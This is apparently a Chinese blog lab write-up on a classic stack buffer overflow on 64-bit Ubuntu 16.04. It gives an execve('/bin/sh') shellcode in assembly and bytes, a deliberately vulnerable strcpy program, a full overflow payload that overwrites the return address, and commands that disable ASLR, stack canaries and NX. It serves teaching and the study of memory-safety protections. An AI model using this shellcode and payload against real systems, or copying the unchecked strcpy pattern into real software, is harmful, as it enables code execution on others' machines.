基础栈溢出


目的

  • 理解掌握C 栈帧结构
  • Shellcode 构造
  • 加深理解栈溢出攻击原理及防护措施

要求

  • 在关闭安全机制下,在Linux系统平台上实现缓冲区溢出攻击
  • 开启安全保护机制,运行一样的溢出攻击代码,比较实现现象

实例

C 栈帧结构如下:

区_02

​ 因此当当前帧的局部变量和临时变量超出区域,覆盖了ebp 和返回地址时,就实现了栈溢出攻击。再通过精心设计返回地址,使其为Shellcode 的起始地址,就完成了运行流的劫持。

​ 实例基于 64位 Ubuntu \ 16.04 操作系统版本以及 gcc,gdb 版本信息如下:

Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609

GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
  • Shellcode 代码

Shellcode 是一段攻击者精心设计的恶意代码,通常要求与位置无关,且本实验中利用 strcpy() 函数,因此Shellcode 代码中不能出现 \x00 ,会被当作\0从而结束拷贝。

​ 编写Shellcode ,该shellcode 调用execve("/bin/sh",NULL) ,启动一个新的shell,验证其功能,参考: https://www.exploit-db.com/exploits/36858/ ,编写汇编文件如下:

.global _start
_start:
    # char *const argv[]
    xorl %esi, %esi
 
    # 'h' 's' '/' '/' 'n' 'i' 'b' '/'
    movq `0x68732f2f6e69622f, %rbx
 
    # for '\x00'
    pushq %rsi
    pushq %rbx
    pushq %rsp
    
    # const char *filename
    popq %rdi
 
    # __NR_execve 59
    pushq `59
    popq %rax
 
    # char *const envp[]
    xorl %edx, %edx
    syscall

区_02

提取机器码:

区_02

  • 漏洞代码
#include <stdio.h>
#include <string.h>
void overflow(char* str)&#123;
    char buf[30];
    strcpy(buf, str);
&#125;
int main()&#123;
    char str[60]="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
                  "\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
    overflow(str);
    return 0;
&#125;

​ 上面这段程序栈溢出漏洞触发点在strcpy函数, 函数没有做边界检查,可导致栈溢出覆盖返回地址。成功利用栈溢出需要确定覆盖多少个字节可以覆盖到返回地址。因此在gdb调试时确定shellcode的地址即str复制后buf的首地址,让返回地址指向该地址。

  • 结果

    为了更简单的方式实现栈溢出,需要关闭一些保护措施。

  • ASLR (地址空间布局随机化)

    关闭ASLRecho 0 |sudo tee /proc/sys/kernel/randomize_va_space

  • Cannary 金丝雀

    开启Canary之后,函数开始时在ebp和临时变量之间插入一个随机值,函数结束时验证这个值。如果不相等(也就是这个值被其他值覆盖了),就会调用 _stackchk_fail函数,终止进程。对应GCC编译选项-fno-stack-protector解除该保护。

  • NX
    开启NX保护之后,程序的堆栈将会不可执行。对应GCC编译选项-z execstack解除该保护。

编译调试:

区_03

​ 从调试结果可知,buf 的首地址为 0x7fffffffdaa0 ,且查看内存该地址处确实为 Shellcode 起始代码。为了覆盖到返回地址,即填充字节至且包括8字节rbp (0x7fffffffdac0) ,则除了shellcode外还需要填充17字节。另外返回地址为0x7fffffffdaa0,改为小端模式\xa0\xda\xff\xff\xff\x7f。因此:

char str[60]="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
              "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
              "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
              "\xa0\xda\xff\xff\xff\x7f\x00\x00";

​ 重新编译,gdb调试运行:

区_03

成功运行。然而实际运行却是段错误,原因是gdb有自己的变量环境,变量的存放地址和程序实际运行会不一致,因此只需要把返回地址改为shellcode实际存放的地址即可,填充长度无须改变,因为相对偏移不变。

获取shellcode 实际地址,可以打印出buf 地址,也可以利用内核转储获取真实地址。首先启用内核转储 ulimit -c unlimited ,缺省情况下,内核在coredump时所产生的core文件放在与该程序相同的目录中,并且文件名固定为core。

区_03

因此修改str 尾部为\x10\xdb\xff\xff\xff\x7f\x00\x00。重新编译运行:

区_03

若启用保护措施,正常编译:

区_03


文章作者: Xu Shouyin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC-ND 4.0 许可协议。转载请注明来源 Xu Shouyin !
 上一篇
MIPS CPU单周期设计 MIPS CPU单周期设计
本设计为计算机系统结构实验,写此文仅为总结。 1.准备工作 安装Xilinx ISE Design Suite 14.7 本设计使用Verilog HDL硬件描述语言,需熟悉其基本语法。
2018-05-03
下一篇 
Linux 权能机制 Linux 权能机制
passwd​ , sudo​ , ping​ 等命令会修改关键文件,确保非root​ 用户无法修改,因此需要转换为root​ 用户,而setuid​ 位可以让用户暂时获得文件拥有者root​ 的身份。 以ping 命令为例,删除s
2018-05-01
  目录
'); }